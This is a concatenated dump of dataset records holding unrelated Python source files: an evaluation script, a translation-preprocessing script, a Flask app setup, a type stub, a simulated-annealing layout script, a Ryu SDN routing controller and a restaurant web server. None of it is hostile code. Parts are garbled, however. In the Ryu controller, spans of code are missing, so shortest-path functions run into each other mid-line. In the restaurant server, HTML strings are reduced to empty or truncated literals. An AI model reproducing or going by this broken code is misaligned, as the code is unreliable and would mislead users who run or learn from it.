valid_tr_embed = train_embeddings.T[embedding_dim:2*embedding_dim].T[num_train:]\n\n\n orig_model = load_model(\"./origin/\" + args.data + \"_\" + args.model + \".h5\")\n preds_train = np.argmax(orig_model.predict(x_train), axis=1)\n preds_val = np.argmax(orig_model.predict(x_valid), axis=1)\n preds_in = np.argmax(orig_model.predict(x_test_in), axis=1)\n preds_tr = np.argmax(orig_model.predict(x_test_tr), axis=1)\n preds_out = np.argmax(orig_model.predict(x_test_out), axis=1)\n print(\"Acc of train: {}\".format(np.mean(preds_train == y_train)))\n print(\"Acc of valid: {}\".format(np.mean(preds_val == y_valid)))\n print(\"Acc of test: {}\".format(np.mean(preds_in == y_test_in)))\n print(\"Acc of tr: {}\".format(np.mean(preds_tr == y_test_in)))\n print(\"Acc of out: {}\".format(np.mean(preds_out == y_test_in)))\n\n print(\"use min latent features\")\n if os.path.exists(fileName + \"latent_min_val.npy\"):\n print(\"load distance\")\n distances_val = np.load(fileName + \"latent_min_val.npy\")\n distances_in = np.load(fileName + \"latent_min_in.npy\")\n distances_tr = np.load(fileName + \"latent_min_tr_\" + args.trans + \".npy\")\n distances_out = np.load(fileName + \"latent_min_out_\" + args.out + \".npy\")\n # distances_unrepair = np.load(fileName + \"latent_min_unrepair_\" + args.trans + \".npy\")\n distances_val_tr = np.load(fileName + \"latent_min_val_tr.npy\")\n\n idx_val = np.load(fileName + \"latent_idx_val.npy\")\n idx_in = np.load(fileName + \"latent_idx_in.npy\")\n idx_tr = np.load(fileName + \"latent_idx_tr_\" + args.trans + \".npy\")\n idx_out = np.load(fileName + \"latent_idx_out_\" + args.out + \".npy\")\n # idx_unrepair = np.load(fileName + \"latent_idx_unrepair_\" + args.trans + \".npy\")\n idx_val_tr = np.load(fileName + \"latent_idx_val_tr.npy\")\n else:\n distances_val, idx_val = calc_dist(valid_embed, train_embed)\n np.save(fileName + \"latent_min_val.npy\", distances_val)\n np.save(fileName + \"latent_idx_val.npy\", idx_val)\n\n distances_val_tr, idx_val_tr = calc_dist(valid_tr_embed, train_embed)\n np.save(fileName + \"latent_min_val_tr.npy\", distances_val_tr)\n np.save(fileName + \"latent_idx_val_tr.npy\", idx_val_tr)\n\n distances_in, idx_in = calc_dist(test_in_embed, train_embed)\n np.save(fileName + \"latent_min_in.npy\", distances_in)\n np.save(fileName + \"latent_idx_in.npy\", idx_in)\n\n distances_tr, idx_tr = calc_dist(test_tr_embed, train_embed)\n np.save(fileName + \"latent_min_tr_\" + args.trans + \".npy\", distances_tr)\n np.save(fileName + \"latent_idx_tr_\" + args.trans + \".npy\", idx_tr)\n\n distances_out, idx_out = calc_dist(test_out_embed, train_embed)\n np.save(fileName + \"latent_min_out_\" + args.out + \".npy\", distances_out)\n np.save(fileName + \"latent_idx_out_\" + args.out + \".npy\", idx_out)\n\n if not args.is_diff_data:\n distances_unrepair, idx_unrepair = calc_dist(test_out_embed, train_embed)\n np.save(fileName + \"latent_min_unrepair_\" + args.trans + \".npy\", distances_unrepair)\n np.save(fileName + \"latent_idx_unrepair_\" + args.trans + \".npy\", idx_unrepair)\n\n distances_train_tr = np.sqrt(np.sum(np.asarray(train_tr_embed - train_embed) ** 2, axis=1))\n print(\"distances_train_tr shape: \", distances_train_tr.shape)\n print(\"train_tr: min: {}, mean: {}. max: {}\".format(np.min(distances_train_tr), np.mean(distances_train_tr), np.max(distances_train_tr)))\n print(\"val: min: {}, mean: {}. max: {}\".format(np.min(distances_val), np.mean(distances_val), np.max(distances_val)))\n print(\"val_tr: min: {}, mean: {}. max: {}\".format(np.min(distances_val_tr), np.mean(distances_val_tr),\n np.max(distances_val_tr)))\n print(\"in: min: {}, mean: {}. max: {}\".format(np.min(distances_in), np.mean(distances_in), np.max(distances_in)))\n print(\"tr: min: {}, mean: {}. max: {}\".format(np.min(distances_tr), np.mean(distances_tr), np.max(distances_tr)))\n print(\"out: min: {}, mean: {}. max: {}\".format(np.min(distances_out), np.mean(distances_out), np.max(distances_out)))\n if not args.is_diff_data:\n print(\"unrepair: min: {}, mean: {}. max: {}\".format(np.min(distances_unrepair), np.mean(distances_unrepair), np.max(distances_unrepair)))\n distances_out, idx_out = distances_unrepair, idx_unrepair\n\n y_true = np.zeros((distances_in.shape[0]+distances_out.shape[0]))\n y_true[distances_in.shape[0]:] += 1\n # outlier\n threshold_out = np.percentile(distances_val, args.t_out)\n print(\"threshold_out: {}, {}\".format(args.t_out, threshold_out))\n print(\"out-dataset ****************************\")\n tp_idx_out = np.where(distances_out > threshold_out)[0]\n print(\"in-test\")\n fp_idx_in = np.where(distances_in > threshold_out)[0]\n cal_metric_outlier(tp_idx_out, fp_idx_in, distances_in.shape[0], distances_out.shape[0])\n y_pred = np.concatenate((distances_in, distances_out), axis=0)\n auc = roc_auc_score(y_true, y_pred)\n fpr, tpr, thresholds = roc_curve(y_true, y_pred)\n TNR95 = 1 - fpr[np.argmax(tpr>=.95)]\n print(\"AUC real: {}, TNR@TPR95: {}\".format(auc, TNR95))\n print(\"num of wrong in fp_in: {}\".format(np.where(preds_in[fp_idx_in] != y_test_in[fp_idx_in])[0].shape[0]))\n\n print(\"in-test with {}\".format(\"blur\"))\n fp_idx_tr = np.where(distances_tr > threshold_out)[0]\n cal_metric_outlier(tp_idx_out, fp_idx_tr, distances_tr.shape[0], distances_out.shape[0])\n y_pred = np.concatenate((distances_tr, distances_out), axis=0)\n auc = roc_auc_score(y_true, y_pred)\n fpr, tpr, thresholds = roc_curve(y_true, y_pred)\n TNR95 = 1 - fpr[np.argmax(tpr>=.95)]\n print(\"AUC real: {}, TNR@TPR95: {}\".format(auc, TNR95))\n print(\"num of wrong in fp_tr: {}\".format(np.where(preds_tr[fp_idx_tr] != y_test_in[fp_idx_tr])[0].shape[0]))\n\n\n threshold_in = np.percentile(distances_val, args.t_in)\n print(\"\\nthreshold_in: {}, {}\".format(args.t_in, threshold_in))\n print(\"in-test with {} **********************************\".format(\"blur\"))\n fp_idx_in = np.where(distances_in > threshold_in)[0]\n tp_idx_tr = np.where(distances_tr > threshold_in)[0]\n cal_metric_outlier(tp_idx_tr, fp_idx_in, distances_tr.shape[0], distances_out.shape[0])\n y_pred = np.concatenate((distances_in, distances_tr), axis=0)\n auc = roc_auc_score(y_true, y_pred)\n fpr, tpr, thresholds = roc_curve(y_true, y_pred)\n TNR95 = 1 - fpr[np.argmax(tpr>=.95)]\n print(\"AUC real: {}, TNR@TPR95: {}\".format(auc, TNR95))\n print(\"num of wrong in fp_idx_in: {}\".format(np.where(preds_in[fp_idx_in] != y_test_in[fp_idx_in])[0].shape[0]))\n\n fn_idx_tr = np.where(distances_tr <= threshold_in)[0]\n tn_idx_in = np.where(distances_in <= threshold_in)[0]\n tp_right = np.sum(y_train[idx_tr][tp_idx_tr] == y_test_in[tp_idx_tr])\n fp_right = np.sum(y_train[idx_in][fp_idx_in] == y_test_in[fp_idx_in])\n fn_right = np.sum(preds_tr[fn_idx_tr] == y_test_in[fn_idx_tr])\n tn_right = np.sum(preds_in[tn_idx_in] == y_test_in[tn_idx_in])\n revised_count = tp_right + fp_right + fn_right + tn_right\n print(\"acc: {}, tp_right: {}, fp_right: {}, fn_right: {}, tn_right: {}\".format(revised_count / (2 * y_test_in.shape[0]), tp_right, fp_right, fn_right, tn_right))\n orig_count = np.sum(preds_in == y_test_in) + np.sum(preds_tr == y_test_in)\n print(\"orig acc: {}, orig in count: {}, orig tr count: {}\".format(orig_count / (2 * y_test_in.shape[0]), np.sum(preds_in == y_test_in), np.sum(preds_tr == y_test_in)))\n perfect_count = np.sum(preds_in == y_test_in) + np.sum(y_train[idx_tr] == y_test_in)\n print(\"perf acc: {}, revised tr count: {}\".format(perfect_count / (2 * y_test_in.shape[0]), np.sum(y_train[idx_tr] == y_test_in)))\n print(\"revised val count: {}\".format(np.sum(y_train[idx_val] == y_valid)))\n print(\"revised in count: {}\".format(np.sum(y_train[idx_in] == y_test_in)))\n print(\"revised out count: {}\".format(np.sum(y_train[idx_out] == y_test_in)))\n revised_in = fp_right + tn_right\n revised_tr = tp_right + fn_right\n print(\"revised_in: \", revised_in, \"revised_tr: \", revised_tr)\n\n\nif __name__ == '__main__':\n \n eval(args)\n\n","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":22419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"155250350","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom torchtext.datasets import TranslationDataset, Multi30k\nfrom torchtext.data import Field, BucketIterator\n\nimport spacy\nimport random\nimport math\nimport os\n\n# Set seeds\nSEED = 1234\nrandom.seed(SEED)\ntorch.manual_seed(SEED)\ntorch.cuda.manual_seed(SEED)\ntorch.backends.cudnn.deterministic = True\n\n# Tokenization\nspacy_de = spacy.load('de')\nspacy_en = spacy.load('en')\n\n# Tokenize and reverse the list to create short term dependencies to improve model predictions (only for source)\ndef tokenize_de(text):\n de_toks = [tok.text for tok in spacy_de.tokenizer(text)]\n return de_toks[::-1]\ndef tokenize_en(text):\n return [tok.text for tok in spacy_en.tokenizer(text)]\n\n# Create TorchText fields\n\nSRC = Field(tokenize=tokenize_de, init_token='', eos_token='', lower=True)\nTRG = Field(tokenize=tokenize_en, init_token='', eos_token='', lower=True)\n\ntrain_data, valid_data, test_data = Multi30k.splits(exts=('.de','.en'), fields=(SRC, TRG))\n\nprint(f\"Number of training examples:{len(train_data.examples)}\")\nprint(f\"Number of validation examples:{len(valid_data.examples)}\")\nprint(f\"Number of test examples:{len(test_data.examples)}\")\n\nprint(vars(train_data.examples[0]))\n\n\"\"\" Build vocabulary - The vocabulary is used to associate each unique token with an index (an integer) and this is used to build a one-hot encoding for each token (a vector of all zeros except for the position represented by the index, which is 1). The vocabularies of the source and target are distinct. Using the min_freq argument, we only allow tokens that appear at least 2 times to appear in our vocabulary. Tokens that appear only once are converted into an token.\n\nIt is important to note that your vocabulary should only be built from the training set and not the validation/test set. This prevents \"information leakage\" into your model, giving you artifically inflated validation/test scores. \"\"\"\n\n\nSRC.build_vocab(train_data, min_freq=2)\nTRG.build_vocab(train_data, min_freq=2)\n\nprint(f\"Unique tokens in source (de) vocabulary: {len(SRC.vocab)}\")\nprint(f\"Unique tokens in target (en) vocabulary: {len(TRG.vocab)}\")","sub_path":"src-py/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"400117147","text":"import time\nimport yaml\nimport logging\nimport logging.config\n\nfrom flask import Flask, url_for, render_template, request\nfrom flask_mail import Mail, email_dispatched\nfrom flask_login import LoginManager\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom sqlalchemy import MetaData\nfrom sqlalchemy_continuum import make_versioned\nfrom sqlalchemy_continuum.manager import VersioningManager\nfrom sqlalchemy_continuum.plugins import FlaskPlugin\nfrom flask_static_digest import FlaskStaticDigest\nfrom flask_caching import Cache\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom flask_wtf import CSRFProtect\nfrom flask_cors import CORS\nfrom loggingmanager import create_logging_manager, set_user_id\nfrom werkzeug.exceptions import HTTPException\nimport stripe\nimport gocardless_pro\n\n\n# If we have logging handlers set up here, don't touch them.\n# This is especially problematic during testing as we don't\n# want to overwrite nosetests' handlers\nif len(logging.root.handlers) == 0:\n install_logging = True\n with open(\"logging.yaml\", \"r\") as f:\n conf = yaml.load(f, Loader=yaml.FullLoader)\n logging.config.dictConfig(conf)\nelse:\n install_logging = False\n\nnaming_convention = {\n \"ix\": \"ix_%(column_0_label)s\",\n \"uq\": \"uq_%(table_name)s_%(column_0_name)s\",\n \"ck\": \"ck_%(table_name)s_%(column_0_name)s\",\n \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n \"pk\": \"pk_%(table_name)s\",\n}\ndb = SQLAlchemy(metadata=MetaData(naming_convention=naming_convention))\n\n\ndef include_object(object, name, type_, reflected, compare_to):\n if (type_, name, reflected) == (\"table\", \"spatial_ref_sys\", True):\n return False\n\n return True\n\n\ncache = Cache()\ncsrf = CSRFProtect()\nmigrate = Migrate(include_object=include_object)\nmanager = VersioningManager(options={\"strategy\": \"subquery\"})\nmake_versioned(manager=manager, plugins=[FlaskPlugin()])\nmail = Mail()\nlogin_manager = LoginManager()\nstatic_digest = FlaskStaticDigest()\ntoolbar = DebugToolbarExtension()\ngocardless_client = None\nvolunteer_admin = None\n\n\ndef create_app(dev_server=False):\n app = Flask(__name__)\n app.config.from_envvar(\"SETTINGS_FILE\")\n app.jinja_options[\"extensions\"].append(\"jinja2.ext.do\")\n\n if install_logging:\n create_logging_manager(app)\n # Flask has now kindly installed its own log handler which we will summarily remove.\n app.logger.propagate = 1\n app.logger.handlers = []\n if not app.debug:\n logging.root.setLevel(logging.INFO)\n else:\n logging.root.setLevel(logging.DEBUG)\n\n from apps.metrics import request_duration, request_total\n\n # Must be run before crsf.init_app\n @app.before_request\n def before_request():\n request._start_time = time.time()\n\n @app.after_request\n def after_request(response):\n try:\n request_duration.labels(request.endpoint, request.method).observe(\n time.time() - request._start_time\n )\n except AttributeError:\n logging.exception(\n \"Request without _start_time - check app.before_request ordering\"\n )\n request_total.labels(\n request.endpoint, request.method, response.status_code\n ).inc()\n return response\n\n for extension in (csrf, cache, db, mail, static_digest, toolbar):\n extension.init_app(app)\n\n def log_email(message, app):\n app.logger.info(\"Emailing %s: %r\", message.recipients, message.subject)\n\n email_dispatched.connect(log_email)\n\n cors_origins = [\"https://map.emfcamp.org\", \"https://wiki.emfcamp.org\"]\n if app.config.get(\"DEBUG\"):\n cors_origins = [\"http://localhost:8080\", \"https://maputnik.github.io\"]\n CORS(\n app, resources={r\"/api/*\": {\"origins\": cors_origins}}, supports_credentials=True\n )\n\n migrate.init_app(app, db)\n\n login_manager.init_app(app, add_context_processor=True)\n app.login_manager.login_view = \"users.login\"\n\n from models.user import User, load_anonymous_user\n from models import site_state, feature_flag\n\n @login_manager.user_loader\n def load_user(userid):\n user = User.query.filter_by(id=userid).first()\n if user:\n set_user_id(user.email)\n return user\n\n login_manager.anonymous_user = load_anonymous_user\n\n global gocardless_client\n gocardless_client = gocardless_pro.Client(\n access_token=app.config[\"GOCARDLESS_ACCESS_TOKEN\"],\n environment=app.config[\"GOCARDLESS_ENVIRONMENT\"],\n )\n stripe.api_key = app.config[\"STRIPE_SECRET_KEY\"]\n\n @app.before_request\n def load_per_request_state():\n site_state.get_states()\n feature_flag.get_db_flags()\n\n if app.config.get(\"NO_INDEX\"):\n # Prevent staging site from being displayed on Google\n @app.after_request\n def send_noindex_header(response):\n response.headers[\"X-Robots-Tag\"] = \"noindex, nofollow\"\n return response\n\n @app.before_request\n def simple_cache_warning():\n if not dev_server and app.config.get(\"CACHE_TYPE\", \"null\") == \"simple\":\n logging.warn(\n \"Per-process cache being used outside dev server - refreshing will not work\"\n )\n\n @app.after_request\n def send_security_headers(response):\n use_hsts = app.config.get(\"HSTS\", False)\n if use_hsts:\n max_age = app.config.get(\"HSTS_MAX_AGE\", 3600 * 24 * 30 * 6)\n response.headers[\"Strict-Transport-Security\"] = \"max-age=%s\" % max_age\n\n response.headers[\"X-Frame-Options\"] = \"deny\"\n response.headers[\"X-Content-Type-Options\"] = \"nosniff\"\n\n return response\n\n if not app.debug:\n\n @app.errorhandler(Exception)\n def handle_exception(e):\n \"\"\" Generic exception handler to catch and log unhandled exceptions in production. \"\"\"\n if isinstance(e, HTTPException):\n # HTTPException is used to implement flask's HTTP errors so pass it through.\n return e\n\n app.logger.exception(\"Unhandled exception in request: %s\", request)\n return render_template(\"errors/500.html\"), 500\n\n @app.errorhandler(404)\n def handle_404(e):\n return render_template(\"errors/404.html\"), 404\n\n @app.errorhandler(500)\n def handle_500(e):\n return render_template(\"errors/500.html\"), 500\n\n @app.shell_context_processor\n def shell_imports():\n ctx = {}\n\n # Import models and constants\n import models\n\n for attr in dir(models):\n if attr[0].isupper():\n ctx[attr] = getattr(models, attr)\n\n # And just for convenience\n ctx[\"db\"] = db\n\n return ctx\n\n from apps.common import load_utility_functions\n\n load_utility_functions(app)\n\n from apps.base import base\n from apps.metrics import metrics\n from apps.users import users\n from apps.tickets import tickets\n from apps.payments import payments\n from apps.cfp import cfp\n from apps.cfp_review import cfp_review\n from apps.schedule import schedule\n from apps.arrivals import arrivals\n from apps.api import api_bp\n\n app.register_blueprint(base)\n app.register_blueprint(users)\n app.register_blueprint(metrics)\n app.register_blueprint(tickets)\n app.register_blueprint(payments)\n app.register_blueprint(cfp)\n app.register_blueprint(cfp_review, url_prefix=\"/cfp-review\")\n app.register_blueprint(schedule)\n app.register_blueprint(arrivals, url_prefix=\"/arrivals\")\n app.register_blueprint(api_bp, url_prefix=\"/api\")\n\n if app.config.get(\"VOLUNTEERS\"):\n from apps.volunteer import volunteer\n\n app.register_blueprint(volunteer, url_prefix=\"/volunteer\")\n\n from flask_admin import Admin\n from apps.volunteer.flask_admin_base import VolunteerAdminIndexView\n\n global volunteer_admin\n volunteer_admin = Admin(\n url=\"/volunteer/admin\",\n name=\"EMF Volunteers\",\n template_mode=\"bootstrap3\",\n index_view=VolunteerAdminIndexView(url=\"/volunteer/admin\"),\n base_template=\"volunteer/admin/flask-admin-base.html\",\n )\n volunteer_admin.endpoint_prefix = \"volunteer_admin\"\n volunteer_admin.init_app(app)\n\n import apps.volunteer.admin # noqa: F401\n\n from apps.admin import admin\n\n app.register_blueprint(admin, url_prefix=\"/admin\")\n\n from apps.notification import notify\n\n app.register_blueprint(notify, url_prefix=\"/notify\")\n\n return app\n\n\ndef external_url(endpoint, **values):\n \"\"\" Generate an absolute external URL. If you need to override this,\n you're probably doing something wrong.\n \"\"\"\n return url_for(endpoint, _external=True, **values)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"92965928","text":"from facebook_business.adobjects.abstractobject import AbstractObject as AbstractObject\nfrom typing import Any, Optional\n\nclass AdgroupIssuesInfo(AbstractObject):\n def __init__(self, api: Optional[Any] = ...) -> None: ...\n class Field(AbstractObject.Field):\n error_code: str = ...\n error_message: str = ...\n error_summary: str = ...\n error_type: str = ...\n level: str = ...\n","sub_path":"stubs/facebook_business/adobjects/adgroupissuesinfo.pyi","file_name":"adgroupissuesinfo.pyi","file_ext":"pyi","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"296912484","text":"from map_saveload import load_map, save_map\nfrom check import check\nfrom value import total_value\nfrom os import sep\nfrom random import random, randint\nfrom math import exp\n\n\ndef sa(houses, padding):\n\n total_houses = len(houses)\n\n # Settings\n step_size = 0.5\n temperature = 10000\n cooling_rate = 0.003\n\n while temperature > 1:\n current_house = randint(0, total_houses - 1)\n\n if houses[current_house].lake is False:\n value_old = total_value(houses, padding)\n # Copy map\n houses_new = copy_houses(houses)\n\n # Make a random change\n direction = randint(1, 4)\n\n if direction == 1:\n houses_new[current_house].move_left(step_size)\n elif direction == 2:\n houses_new[current_house].move_right(step_size)\n elif direction == 3:\n houses_new[current_house].move_down(step_size)\n elif direction == 4:\n houses_new[current_house].move_up(step_size)\n\n if check(houses_new[current_house], houses_new):\n value_new = total_value(houses_new, padding)\n else:\n value_new = 0.0\n\n if acceptance_probability(value_new, value_old, temperature) > random():\n houses = copy_houses(houses_new)\n\n # Cool down\n temperature *= 1-cooling_rate\n\n end_value = total_value(houses, padding)\n\n return [houses, end_value]\n\n\ndef copy_houses(houses):\n copy_house = []\n for house in houses:\n copy_house.append(house.copy())\n return copy_house\n\n\ndef sa_loop(folder, map_nr, padding, draw):\n \"\"\"Loop for Simulated Annealing multiple times.\"\"\"\n # Construct filename\n filename = folder + sep + map_nr + '.csv'\n\n temp_houses = load_map(filename)\n original_houses = [temp_houses, total_value(temp_houses, padding)]\n best_houses = [temp_houses, total_value(temp_houses, padding)]\n\n print('Begin value: ' + str(original_houses[1]))\n\n count = 0\n limit = 10\n\n while count < limit:\n temp_houses = sa(original_houses[0], padding)\n print(str(count) + ': ' + str(temp_houses[1]))\n if temp_houses[1] > best_houses[1]:\n best_houses = temp_houses\n count += 1\n\n print('End value: ' + str(best_houses[1]))\n save_map(map_nr + '_new', folder, best_houses[0])\n\n # Draw maps\n if draw:\n from draw_map import draw_map\n draw_map(original_houses[0], map_nr, folder)\n draw_map(best_houses[0], map_nr + '_new', folder)\n\n return map_nr, original_houses[1], best_houses[1]\n\n\ndef acceptance_probability(value_new, value_old, temperature):\n if value_new > value_old:\n return 1.0\n elif value_new == 0.0:\n return 0.0\n chance = exp((value_new - value_old) / temperature)\n return chance\n","sub_path":"sa.py","file_name":"sa.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"318081115","text":"#!/usr/bin/python2\n# -*- coding: utf-8 -*-\n\nimport sys\nimport re\nimport time\nimport Queue\nimport math\nimport networkx as nx\nimport random\n\nfrom matplotlib import pyplot as plt\n\nfrom ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import MAIN_DISPATCHER, set_ev_cls, CONFIG_DISPATCHER\nfrom ryu.ofproto import ofproto_v1_3, ofproto_v1_3_parser\nfrom broccoli import event, Connection,bro_conn_get_fd\nfrom pkg_resources import load_entry_point\nfrom ryu.lib import hub\n\nimport predef\n\nglobal statemachine_pos,alltable,taprulecount\n\n################# pre route ################\n\ndef arpspt():\n nodes = predef.nodes\n links = predef.links\n flags = dict.fromkeys(nodes.keys(),False)\n nodeidlist = nodes.keys()\n outports = []\n while len(nodeidlist)>0:\n lastid = nodeidlist.pop()\n if not flags[lastid]: #broadcast from lastid\n q = Queue.Queue()\n q.put(lastid)\n flags[lastid] = True\n while not q.empty():\n a = q.get()\n for portid in nodes[a]:\n port = (a,portid)\n peerport = links.get(port)\n if peerport==None:\n if predef.port2hostTable.has_key(port):\n outports.append(port)\n elif not flags[peerport[0]]:\n outports.append(port)\n outports.append(peerport)\n q.put(peerport[0])\n flags[peerport[0]]=True\n ret={}\n for a,p in outports:\n p1 = ret.get(a)\n if p1 == None:\n ret[a]=[p,]\n else:\n p1.append(p)\n return ret\n\n_linkpeerport_to_node ={}\n\ndef getlinkpeerport_to_node(n):\n global _linkpeerport_to_node\n ll = _linkpeerport_to_node.get(n)\n if ll!=None:\n return ll\n ports = predef.nodes[n]\n links = predef.links\n ll = []\n for p in ports:\n pp = links.get((n,p))\n if pp!=None:\n assert links[pp]==(n,p)\n ll.append(pp)\n _linkpeerport_to_node[n]=ll\n return ll\n\n\ndef defaultwight(outport):\n assert predef.links.has_key(outport)\n return 1\n\ndef shortestpath(inport,outport,weight=defaultwight):\n nodes = predef.nodes\n links = predef.links\n innode = inport[0]\n outnode = outport[0]\n if innode == outnode:\n return [outport]\n dis = dict.fromkeys(nodes.keys(),-1)\n dis[innode]=0\n flags = dict.fromkeys(nodes.keys(),False)\n flags[innode] = True\n selectednode = innode\n pathlinks = {}\n while True:\n for port in nodes[selectednode]:\n aport = (selectednode,port)\n p2 = links.get(aport)\n if p2!=None:\n n2 = p2[0]\n if not flags[n2]:\n dis_new = dis[selectednode] + weight(aport)\n if dis[n2]==-1 or dis[n2]> dis_new:\n dis[n2]=dis_new\n pathlinks[n2] = aport\n selectednode = None\n mindis = -1\n for node in nodes:\n if not flags[node]:\n if dis[node]!=-1 and (mindis==-1 or dis[node] dis_new:\n dis[n2]=dis_new\n pathlinks[n2] = p2\n selectednode = None\n mindis = -1\n for node in nodes:\n if not flags[node]:\n if dis[node] != -1 and (mindis == -1 or dis[node] < mindis):\n mindis = dis[node]\n selectednode = node\n if selectednode == None:\n break\n flags[selectednode] = True\n if selectednode in srcnodes:\n break\n if selectednode == None:\n return []\n ret = []\n last = selectednode\n while last!=outnode:\n ap = pathlinks[last]\n ret.append(ap)\n last = links[ap][0]\n ret.append(dstport)\n return ret\n\n\ndef dummy_weight(port):\n pp = predef.links.get(port)\n assert pp!=None\n return pp[0]*port[1]+pp[1]*port[0]\n\ndef tcp_tap(inport,outport):\n\n global statemachine_pos\n path = shortestpath(inport,outport,weight=getweight)\n incweight_path(path)\n pathmap = dict(path)\n\n tap_path=None\n for tapdst in statemachine_pos:\n ret = shortestpath_tap((tapdst,'tap'),pathmap.keys())\n if tap_path==None:\n tap_path=ret\n elif len(ret)Make a New Restaurant Here

\"\n message += \"\"\n \n for restaurant in restaurants:\n message += restaurant.name\n message += f\"
Edit
\" # pass the restaurant.id in the edit href\n message += f\"Delete\" # pass the restaurant.id in the delete href \n message += \"

\"\n \n message += \"\"\n \n self.wfile.write(message.encode())\n return\n\n # Objective 3: create a \"/restaurants/new\" page \n if self.path.endswith(\"/restaurants/new\"):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n message = \"\"\n\n # we define the \"POST new restaurant name request form\" block in the do_GET method \n message += \"

Make a New Restaurant

\"\n message += \"
>\"\n message += \"\" \n message += \"
\"\n\n # close out the HTML message body accordingly\n message += \"\"\n\n self.wfile.write(message.encode())\n return\n\n # Objective 4: create a \"/restaurants//edit\" page \n if self.path.endswith(\"/edit\"):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n message = \"\"\n\n num = self.path.split('/')[2]\n resto = session.query(Restaurant).filter_by(id=int(num)).one()\n \n\n # we define the \"Update restaurant name request form\" block in do_GET method as well\n message += f\"

{resto.name}

\" # display restaurant name\n message += f\"
>\"\n message += f\"\" \n message += \"
\"\n \n # close out the HTML message body\n message += \"\"\n\n self.wfile.write(message.encode())\n return\n\n # Objective 5: create a \"/restaurants//delete\" page \n if self.path.endswith(\"/delete\"):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n message = \"\"\n\n num = self.path.split('/')[2]\n resto = session.query(Restaurant).filter_by(id=int(num)).one()\n \n\n # simple form \n message += f\"

Are you sure you want to delete {resto.name}?

\" # display restaurant name\n message += f\"
>\"\n message += \"
\"\n \n # add a Cancel button and link it to the restaurants list page\n message += \"Cancel\"\n\n # close out the HTML message body\n message += \"\"\n\n self.wfile.write(message.encode())\n return\n\n except IOError:\n self.send_error(404, 'File Not Found: %s' % self.path)\n\n def do_POST(self):\n if self.path.endswith('/restaurants/new'): \n\n try:\n # this is our POST implementation logic \n # the cgi.parse_header would parse the header into the main value (ctype) and the parameter dictionary (pdict):\n # - 'ctype' = the encode type \n # - 'pdict' = parameter dictionary that containts the parameters in the \"Content-Type\" header\n # cgi.parse processes user input submitted through the HTML form defined in the do_GET function \n ctype, pdict = cgi.parse_header(self.headers['Content-Type'])\n if ctype == 'multipart/form-data':\n \n pdict['boundary'] = bytes(pdict['boundary'], 'utf-8')\n pdict['CONTENT-LENGTH'] = self.headers.get('content-length')\n # get all the key/field values of the multipart/form-data from the pdict \n fields = cgi.parse_multipart(self.rfile, pdict)\n # here we retrieve the new restaurant name value that was entered in the 'POST' form \n # convert the name value to he machine-readable unicode binary format (decode utf-8)\n # NOTE: fields.get() returns a LIST with the value as the first element in the list so we need to do fields.get()[0]\n messagecontent = fields.get('newRestaurantName')[0].decode('utf-8')\n \n # sqlalchemy create new restaurant object\n newRestaurant = Restaurant(name=messagecontent)\n session.add(newRestaurant)\n session.commit() \n\n # execute the following after session.commit() success \n self.send_response(301) # HTTP POST() redirect request\n self.send_header('Content-type', 'text/html')\n # once we submit our form we want our server to redirect to the `/restaurants` main page \n # for send_header to redirect link we specify 'Location' for the first arg and the path for second arg\n self.send_header('Location', '/restaurants')\n # always do end_headers AFTER ALL headers are sent\n self.end_headers()\n\n except:\n pass\n\n if self.path.endswith('/edit'): \n\n try:\n\n ctype, pdict = cgi.parse_header(self.headers['Content-Type'])\n if ctype == 'multipart/form-data':\n pdict['boundary'] = bytes(pdict['boundary'], 'utf-8')\n pdict['CONTENT-LENGTH'] = self.headers.get('content-length')\n fields = cgi.parse_multipart(self.rfile, pdict)\n \n # convert messagecontent from binary to string so we can run sql query\n messagecontent = fields.get('updateRestName')[0].decode('utf-8')\n\n # get restaurant ID from the server path\n num = int(self.path.split('/')[2])\n \n if not messagecontent:\n self.send_error(400, 'Restaurant Name field cannot be empty')\n else:\n # update restaurant object\n # resto = Restaurant(id=num.decode('utf-8')).one() # decode id value to binary\n resto = session.query(Restaurant).filter_by(id=num).one()\n resto.name = messagecontent \n session.add(resto)\n session.commit() \n\n # execute the following after session.commit() success \n self.send_response(301) # HTTP POST() successful response\n self.send_header('Content-type', 'text/html')\n # the following code redirects to the `/restaurants` page, which \n # runs a listing of restaurants that includes the updated restaurant name\n self.send_header('Location', '/restaurants')\n self.end_headers()\n \n except:\n pass\n\n # Objective 5 - process delete \n if self.path.endswith('/delete'): \n\n try:\n num = int(self.path.split('/')[2])\n\n # delete restaurant object\n resto = session.query(Restaurant).filter_by(id=num).one()\n session.delete(resto)\n session.commit() \n\n # execute the following after session.commit() success \n self.send_response(301) # HTTP POST() successful response\n self.send_header('Content-type', 'text/html')\n # the following code redirects to the `/restaurants` page, which \n # runs a listing of restaurants that includes the updated restaurant name\n self.send_header('Location', '/restaurants')\n self.end_headers()\n\n except:\n pass\n\ndef main():\n try:\n server = HTTPServer(('', PORT), webServerHandler)\n print('Web server running...open localhost:8080/restaurants in your browser')\n server.serve_forever()\n except KeyboardInterrupt:\n print('^C received, shutting down server')\n server.socket.close()\n\nif __name__ == '__main__':\n 